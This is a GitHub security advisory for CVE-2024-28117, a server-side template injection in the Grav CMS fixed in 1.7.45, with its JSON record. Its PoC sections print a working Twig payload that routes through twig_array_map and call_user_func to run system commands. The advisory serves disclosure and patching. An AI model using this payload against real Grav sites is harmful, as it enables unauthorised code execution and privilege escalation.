ghsa-qfv4-q44r-g7rv
Vulnerability from github
Summary
Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.
Details
{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}
When we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.
{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}
Since there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.
PoC
{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}
Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28117"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-22T16:35:48Z",
"nvd_published_at": "2024-03-21T22:15:11Z",
"severity": "HIGH"
},
"details": "### Summary\nGrav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.\n\n### Details\n```\n{{ grav.twig.twig.getFunction(\u0027twig_array_map\u0027)|var_dump }}\n```\n\n\nWhen we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.\n\n```\n{% set cmd = {\u0027id\u0027:\u0027system\u0027} %}\n{{ twig_array_map(grav.twig.twig,cmd,\u0027call_user_func\u0027)|join }}\n```\nSince there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.\n\n### PoC\n```\n{% set cmd = {\u0027id\u0027:\u0027system\u0027} %}\n{{ twig_array_map(grav.twig.twig,cmd,\u0027call_user_func\u0027)|join }}\n```\n\n### Impact\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.\nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.\n",
"id": "GHSA-qfv4-q44r-g7rv",
"modified": "2025-01-03T16:06:28Z",
"published": "2024-03-22T16:35:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-qfv4-q44r-g7rv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28117"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/de1ccfa12dbcbf526104d68c1a6bc202a98698fe"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Server Side Template Injection (SSTI)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.